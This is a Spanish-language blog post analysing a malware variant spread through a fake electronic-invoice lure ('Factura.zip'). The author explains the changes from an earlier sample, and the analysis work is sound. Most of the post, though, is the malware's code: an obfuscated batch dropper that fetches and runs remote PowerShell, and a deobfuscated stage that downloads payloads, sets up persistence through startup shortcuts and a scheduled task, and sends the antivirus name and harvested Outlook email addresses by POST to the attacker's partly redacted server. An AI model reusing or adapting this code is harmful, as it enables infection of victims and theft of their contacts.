Desmenuzando y entendiendo el codigo
Factura.zip
Hola Amigos, dando continuidad al post anterior sobre analizando malware
comprobante fiscal, acabo de encontrar una nueva variante de este con modificación en su código.
Bien comenzamos con el primer código, es un script por lotes ejecutable (batch), este archivo con nombre "
Verificacfdi.facturaelectronica.emision.cmd", su contenido es el siguiente.
@echo off
cd %SystemRoot%\System32
set a=Win
set b=dow
set c=sPo
set d=wer
set e=She
set f=ll\
set g=v1.
set h=0\po
set i=we
set j=rsh
set k=ell
set l=.ex
set m=e -n
set n=op
set o=-w
set p=in 1 -
echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://t...../mx/a9Y0P6X9y9f1d5uayNa/kk/a9Y0P6X9y9f1d5uayNa')"); | %a%%b%%c%%d%%e%%f%%g%%h%%i%%j%%k%%l%%m%%n%%o%%p%
Como pueden observar es un archivo batch que establece variables para al final concatenar y descargar otro archivo.El código anterior queda de la siguiente manera.
@echo off
cd %SystemRoot%\System32
set a=WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -
echo ieX(IeX(New-oBJeCt Net.WebClIeNt).DOwnlOadStRING('http://t......./mx/a9Y0P6X9y9f1d5uayNa/kk/a9Y0P6X9y9f1d5uayNa'));
El script descarga otro archivo con nombre "
a9Y0P6X9y9f1d5uayNa", el cual viene "ofuscado" únicamente las variables.
____/////////
${_/|\_/|////\__|/_|\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
${_/|\_/|////\__|/_|\\\\\\/\\\\/\/\/\|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
${_/|\_/|////\__|//\\\\\\\\/|_} = "http://t......./mx/a9Y0P6X9y9f1d5uayNaMD/kk/md.zip"
${_/|\_/|/\\\\\\\/|_} = "public"
${_\\\\\\/|\_/|/\\\\\\\/|_} = "c:\users\${_/|\_/|/\\\\\\\/|_}"
El codigo fue recortado para no mostrar todo.
Una vez que modifique todas las variables que se encuentran "ofuscadas", el código puede ser leido un poco mejor.
function SenData {
[cmdletBinding()]
param (
[string]$ComputerName = "$env:computername" ,
$Credential
)
BEGIN
{
$wmiQuery = "SELECT * FROM AntiVirusProduct"
}
PROCESS
{ $AntivirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Query $wmiQuery @psboundparameters
$AntivirusNames = $AntivirusProduct.displayName
$WebRequest = [System.Net.WebRequest]::Create("http://t......./mx/a9Y0P6X9y9f1d5uayNa/kk/index.php")
$GlobalListStr = [System.Text.Encoding]::UTF8.GetBytes("AT=$AntivirusNames")
$WebRequest.Method = 'POST'
$WebRequest.ContentType = 'application/x-www-form-urlencoded'
$WebRequest.ContentLength = $GlobalListStr.length
$RequestStream = $WebRequest.GetRequestStream()
$RequestStream.Write($GlobalListStr, 0, $GlobalListStr.length)
$RequestStream.Close()
}
END {
}
}
SenData
$FinExe = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
$Compress = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
$Stage3Zip = "http://t....../mx/a9Y0P6X9y9f1d5uayNaMD/kk/md.zip"
$DirPublico = "public"
$WorkDir = "c:\users\$DirPublico"
Function NomRandom {
$Abcdario = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
$Numeros = "2_","3_","4_","5_","6_","7_","8_","9_"
$Nulo = $null
$GetNomRandom = Get-Random -InputObject $Abcdario -Count 6
$GetNumRandom = Get-Random -InputObject $Numeros -Count 1
$GetMayuscula = Get-Random -InputObject $Abcdario.ToUpper() -Count 1
foreach($n in $GetNomRandom) {
$Nulo += $n
}
foreach ($n2 in $GetNumRandom) {
$Nulo += $n2
}
foreach ($n3 in $GetMayuscula) {
$Nulo += $n3
}
return "_$Nulo"
}
$SelectFunNomRand = NomRandom
$ExistFile = "$WorkDir\b.ar"
$CheckExitFile = if ($ExistFile) { Test-Path $ExistFile }
$CheckExitFile
if($CheckExitFile -eq 'True'){
exit
}else{
New-Item -ItemType directory -Path $WorkDir\$SelectFunNomRand
$GetFileDown = new-object System.Net.WebClient
$GetFileDown.DownloadFile($Stage3Zip,"$WorkDir\$SelectFunNomRand\$SelectFunNomRand.zip")
$ObjUnzip = new-object -com shell.application
$FileZip = $ObjUnzip.namespace("$WorkDir\$SelectFunNomRand\$SelectFunNomRand.$Compress")
$UnzipFileZip = $ObjUnzip.namespace("$WorkDir\$SelectFunNomRand")
$UnzipFileZip.Copyhere($FileZip.items())
Rename-Item -NewName ("$WorkDir\$SelectFunNomRand\$SelectFunNomRand.$FinExe") -Path ("$WorkDir\$SelectFunNomRand\$FinExe.png")
Rename-Item -NewName ("$WorkDir\$SelectFunNomRand\$SelectFunNomRand.LNS") -Path ("$WorkDir\$SelectFunNomRand\12.dll")
Rename-Item -NewName ("$WorkDir\$SelectFunNomRand\sqlite3.dll") -Path ("$WorkDir\$SelectFunNomRand\sql.png")
function FunExecFiles
{
Param([string]$ShortcutName,[string]$Dude);
try{
$CallWscript = New-Object -ComObject WScript.Shell
$Shortcut = $CallWscript.CreateShortcut($ShortcutName)
$Shortcut.TargetPath = "$WorkDir\$SelectFunNomRand\$SelectFunNomRand.$FinExe"
$Shortcut.Arguments = " $SelectFunNomRand1.LNS $SelectFunNomRand"
$Shortcut.WorkingDirectory = "$WorkDir\$SelectFunNomRand"
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
'%ProgramFiles%\Internet Explorer\iexplore.exe,1
$Shortcut.Save()
}finally{}
}
$CallWscript2 = New-Object -Com WScript.Shell
$Iniciar = $CallWscript2.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
del $Iniciar\*.vbs
del $Iniciar\*.lnk
$ValEnv = "$env:APPDATA\$EnvName, $EnvName2"
$ValLNK = "$Iniciar\$SelectFunNomRand.lnk"
FunExecFiles $ValLNK $ValEnv
function FunExecFilesScript
{
Param([string]$NombreShortcut,[string]$Dude2);
try{
$CallWscript3 = New-Object -ComObject WScript.Shell
$NomShortcut2 = $CallWscript3.CreateShortcut($NombreShortcut)
$NomShortcut2.TargetPath = "c:\users\$DirPublico\$SelectFunNomRand.vbs"
$NomShortcut2.Arguments = ""
$NomShortcut2.Description = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IgBBAGMAZQBzAHMAYQByACAAYQAgAGkAbgB0AGUAcgBuAGUAdAAuACIA')));
'"Acessar a internet."
$NomShortcut2.WorkingDirectory = ""
$NomShortcut2.IconLocation = "$iconLocationActual"
$NomShortcut2.Save()
}finally{}
}
$CreaBar = $SelectFunNomRand
$CreaBar | Set-Content "$WorkDir\b.ar"
$CreaBar | Out-File "$WorkDir\b.ar"
$CreaBar > "$WorkDir\b.ar"
$ValLNK = "c:\users\public\chrome.lnk"
FunExecFilesScript $ValLNK $Dude2
$NomLine = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABpAG4AZQA=')))
'line
$NomCmd = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBtAGQA')))
'Cmd
$Num86 = '86'
$ValSigDolar = "$"
$Arquivo = "$WorkDir\$SelectFunNomRand\$SelectFunNomRand1.LNS"
$ArquivoSaida ="$WorkDir\$SelectFunNomRand\$SelectFunNomRand1.LNS"
Add-Content $Arquivo '#NoTrayIcon'
Add-Content $Arquivo "Global $ValSigDolar$SelectFunNomRand = $ValSigDolar$NomCmd$NomLine[1]"
Add-Content $Arquivo "Global $ValSigDolar$SelectFunNomRand$Num86 = DllOpen('$SelectFunNomRand.LNS')"
Add-Content $Arquivo "DllCall($ValSigDolar$SelectFunNomRand$Num86, 'STRUCT', 'JLI_CmdToArgs')"
$cmdFileName = "C:\Windows\explorer.exe "
$TaskStartTime = [datetime]::Now.AddSeconds(180)
$TaskEndTime = [datetime]::Now.AddSeconds(240)
$taskName = $SelectFunNomRand
$service = New-Object -ComObject("Schedule.Service")
$service.Connect()
$rootFolder = $service.GetFolder("\")
$TaskDefinition = $service.NewTask(0)
$TaskDefinition.RegistrationInfo.Description = ""
$TaskDefinition.Settings.Enabled = $true
$TaskDefinition.Settings.DisallowStartIfOnBatteries = $false
$TaskDefinition.Settings.DeleteExpiredTaskAfter = "PT0M"
$triggers = $TaskDefinition.Triggers
$trigger = $triggers.Create(1)
$trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
$trigger.EndBoundary = $TaskEndTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
$trigger.Enabled = $true
$action = $TaskDefinition.Actions.Create(0)
$action.Path = $cmdFileName
$action.Arguments = "$Iniciar\$SelectFunNomRand.lnk"
$action = $TaskDefinition.Actions.Create(0)
$action.Path = "schtasks.exe"
$action.Arguments = "/Delete /TN $taskName /F"
$rootFolder.RegisterTaskDefinition($taskName, $TaskDefinition, 6, "", $null, 0)
}
Add-Type -assembly $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBpAGMAcgBvAHMAbwBmAHQALgBPAGYAZgBpAGMAZQAuAEkAbgB0AGUAcgBvAHAALgBPAHUAdABsAG8AbwBrAA==')))
'Microsoft.Office.Interop.Outlook
$CallOutlook = New-Object -comobject Outlook.Application
$NameMAPI = $CallOutlook.GetNameSpace($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBBAFAASQA='))))
'MAPI
$SysArrayList = [System.Collections.ArrayList]@()
function FunRegx($ValFunRegx)
{
$ParamsRegex = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgBbAF8AYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBfAGEALQB6ADAALQA5AC0AXQArACkAKgBAAFsAYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBhAC0AegAwAC0AOQAtAF0AKwApACoAKABcAC4AWwBhAC0AegBdAHsAMgAsADQAfQApACQA')));
'^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$
if ($ValFunRegx -match $ParamsRegex) {
return $true
}
return $false
}
function FunCheckRegx($ValFunRegx) {
if ($ValFunRegx) {
$ValFalso = $false
$ValFunRegx = $ValFunRegx.ToLower()
if ($ValFunRegx.StartsWith("'") -And $ValFunRegx.EndsWith("'")) {
$ValFunRegx = $ValFunRegx.Substring(1, $ValFunRegx.Length - 2)
}
if (FunRegx($ValFunRegx)) {
for($ValCero = 0;$ValCero -lt $SysArrayList.Count;$ValCero++) {
if ($SysArrayList[$ValCero] -eq $ValFunRegx) {
$ValFalso = $true
break
}
}
if (-Not $ValFalso) {
$ValArregloRegx = $SysArrayList.Add($ValFunRegx)
}
}
}
}
function FuncEmail {
$ValMAPIAddress = $NameMAPI.AddressLists
for($ValCero = 1;$ValCero -le $ValMAPIAddress.Count;$ValCero++) {
$DudeMAPI = $ValMAPIAddress.Item($ValCero).AddressEntries
for($ValUno = 1;$ValUno -le $DudeMAPI.Count;$ValUno++) {
$DeItemValUno = $DudeMAPI.Item($ValUno)
$ComparaciónKnow = $DeItemValUno.AddressEntryUserType
$ValFunRegx = ""
if ($ComparaciónKnow -eq 10) {
$ValFunRegx = $DeItemValUno.Address
} elseif (($ComparaciónKnow -eq 3) -Or ($ComparaciónKnow -eq 1) -Or ($ComparaciónKnow -eq 4) -Or ($ComparaciónKnow -eq 2) -Or ($ComparaciónKnow -eq 5) -Or ($ComparaciónKnow -eq 0)) {
$ValFunRegx = $DeItemValUno.GetExchangeUser().PrimarySmtpAddress
}
FunCheckRegx($ValFunRegx)
}
}
}
function FunEmail1($ValEmail) {
for($ValCero = 1;$ValCero -le $ValEmail.Count;$ValCero++) {
$ValNumItem = $ValEmail.Item($ValCero)
$Valknow01 = $ValNumItem.Items
for($ValUno = 1;$ValUno -le $Valknow01.Count;$ValUno++) {
$AlgunValor = $Valknow01.Item($ValUno)
$ValReceta = $AlgunValor.Recipients
for($Val01 = 1;$Val01 -le $ValReceta.Count;$Val01++) {
$ValRecetaValNum = $ValReceta.Item($Val01)
$DeItemValUno = $ValRecetaValNum.AddressEntry
$ComparaciónKnow = $DeItemValUno.AddressEntryUserType
$ValFunRegx = "";
if ($ComparaciónKnow -eq 0) {
$ValFunRegx = $DeItemValUno.GetExchangeUser().PrimarySmtpAddress
} elseif (($ComparaciónKnow -eq 30) -Or ($ComparaciónKnow -eq 10)) {
$ValFunRegx = $DeItemValUno.Address
}
FunCheckRegx($ValFunRegx)
}
$DeItemValUno = $AlgunValor.Sender
$ComparaciónKnow = $DeItemValUno.AddressEntryUserType
$ValFunRegx = "";
if ($ComparaciónKnow -eq 0) {
$ValFunRegx = $DeItemValUno.GetExchangeUser().PrimarySmtpAddress
} elseif (($ComparaciónKnow -eq 30) -Or ($ComparaciónKnow -eq 10)) {
$ValFunRegx = $DeItemValUno.Address
}
FunCheckRegx($ValFunRegx)
}
FunEmail1($ValNumItem.Folders)
}
}
function FuncPOSTknow() {
FuncEmail
FunEmail1($NameMAPI.Folders)
Add-Content $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAC4ATwB1AHQAbABvAG8AawA='))) $SysArrayList
'$env:APPDATA\Microsoft\.Outlook
$WebRequest = [System.Net.WebRequest]::Create("http://t....../mx/lists/kk/index.php?list")
$GlobalListStr = [System.Text.Encoding]::UTF8.GetBytes("list=$($SysArrayList -join ';')")
$WebRequest.Method = 'POST'
$WebRequest.ContentType = 'application/x-www-form-urlencoded'
$WebRequest.ContentLength = $GlobalListStr.length
$RequestStream = $WebRequest.GetRequestStream()
$RequestStream.Write($GlobalListStr, 0, $GlobalListStr.length)
$RequestStream.Close()
[System.Net.WebResponse] $WebResponse = $WebRequest.GetResponse()
}
function FunCheckExists() {
$ValorExists = [System.IO.File]::Exists($ValBuscado)
if (-Not $ValorExists) {
"" | sc $ValBuscado
FuncPOSTknow
}
}
FunCheckExists
Como pueden ver, el codigo es parecido al que se analizo en post anterior, sin embargo fue modificado.
1.- Se incorporo al script la funcion para revisar que antivirus tiene instalado el equipo y su nombre del equipo, una vez que tiene los datos los envía con una petición POST, al servidor del atacante (ya no se encuentra funcionando).
function SenData {
[cmdletBinding()]
param (
[string]$ComputerName = "$env:computername" ,
$Credential
)
BEGIN
{
$wmiQuery = "SELECT * FROM AntiVirusProduct"
}
PROCESS
{ $AntivirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Query $wmiQuery @psboundparameters
$AntivirusNames = $AntivirusProduct.displayName
$WebRequest = [System.Net.WebRequest]::Create("http://t......org/mx/a9Y0P6X9y9f1d5uayNa/kk/index.php")
$GlobalListStr = [System.Text.Encoding]::UTF8.GetBytes("AT=$AntivirusNames")
$WebRequest.Method = 'POST'
$WebRequest.ContentType = 'application/x-www-form-urlencoded'
$WebRequest.ContentLength = $GlobalListStr.length
$RequestStream = $WebRequest.GetRequestStream()
$RequestStream.Write($GlobalListStr, 0, $GlobalListStr.length)
$RequestStream.Close()
}
END {
}
}
2.- Crea una funcion para revisar la libreta de direcciones de correos que se tienen con Outlook, y manda esta información en una petición POST.
function FuncEmail {
$ValMAPIAddress = $NameMAPI.AddressLists
for($ValCero = 1;$ValCero -le $ValMAPIAddress.Count;$ValCero++) {
$DudeMAPI = $ValMAPIAddress.Item($ValCero).AddressEntries
for($ValUno = 1;$ValUno -le $DudeMAPI.Count;$ValUno++) {
$DeItemValUno = $DudeMAPI.Item($ValUno)
$ComparaciónKnow = $DeItemValUno.AddressEntryUserType
$ValFunRegx = ""
if ($ComparaciónKnow -eq 10) {
$ValFunRegx = $DeItemValUno.Address
} elseif (($ComparaciónKnow -eq 3) -Or ($ComparaciónKnow -eq 1) -Or ($ComparaciónKnow -eq 4) -Or ($ComparaciónKnow -eq 2) -Or ($ComparaciónKnow -eq 5) -Or ($ComparaciónKnow -eq 0)) {
$ValFunRegx = $DeItemValUno.GetExchangeUser().PrimarySmtpAddress
}
FunCheckRegx($ValFunRegx)
}
}
}
function FunEmail1($ValEmail) {
for($ValCero = 1;$ValCero -le $ValEmail.Count;$ValCero++) {
$ValNumItem = $ValEmail.Item($ValCero)
$Valknow01 = $ValNumItem.Items
for($ValUno = 1;$ValUno -le $Valknow01.Count;$ValUno++) {
$AlgunValor = $Valknow01.Item($ValUno)
$ValReceta = $AlgunValor.Recipients
for($Val01 = 1;$Val01 -le $ValReceta.Count;$Val01++) {
$ValRecetaValNum = $ValReceta.Item($Val01)
$DeItemValUno = $ValRecetaValNum.AddressEntry
$ComparaciónKnow = $DeItemValUno.AddressEntryUserType
$ValFunRegx = "";
if ($ComparaciónKnow -eq 0) {
$ValFunRegx = $DeItemValUno.GetExchangeUser().PrimarySmtpAddress
} elseif (($ComparaciónKnow -eq 30) -Or ($ComparaciónKnow -eq 10)) {
$ValFunRegx = $DeItemValUno.Address
}
FunCheckRegx($ValFunRegx)
}
$DeItemValUno = $AlgunValor.Sender
$ComparaciónKnow = $DeItemValUno.AddressEntryUserType
$ValFunRegx = "";
if ($ComparaciónKnow -eq 0) {
$ValFunRegx = $DeItemValUno.GetExchangeUser().PrimarySmtpAddress
} elseif (($ComparaciónKnow -eq 30) -Or ($ComparaciónKnow -eq 10)) {
$ValFunRegx = $DeItemValUno.Address
}
FunCheckRegx($ValFunRegx)
}
FunEmail1($ValNumItem.Folders)
}
}
function FuncPOSTknow() {
FuncEmail
FunEmail1($NameMAPI.Folders)
Add-Content $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAC4ATwB1AHQAbABvAG8AawA='))) $SysArrayList
'$env:APPDATA\Microsoft\.Outlook
$WebRequest = [System.Net.WebRequest]::Create("http://t...../mx/lists/kk/index.php?list")
$GlobalListStr = [System.Text.Encoding]::UTF8.GetBytes("list=$($SysArrayList -join ';')")
$WebRequest.Method = 'POST'
$WebRequest.ContentType = 'application/x-www-form-urlencoded'
$WebRequest.ContentLength = $GlobalListStr.length
$RequestStream = $WebRequest.GetRequestStream()
$RequestStream.Write($GlobalListStr, 0, $GlobalListStr.length)
$RequestStream.Close()
[System.Net.WebResponse] $WebResponse = $WebRequest.GetResponse()
}
Recuerden que el nombre de las variables fue editado para su analisis.
NOTA: Si el pequeño analisis que realice esta mal en algo, por favor haganmelo saber para corregirlo. Recuerden sigo aprendiendo para compartir con ustedes.
Bueno esto es todo solo queria mostrarles estos cambios que le hicieron al codigo que anlizamos anteriormente.
Si quieren saber como analizarlo vayan al post anterior
comprobante fiscal.
Saludos.
Comentarios
Publicar un comentario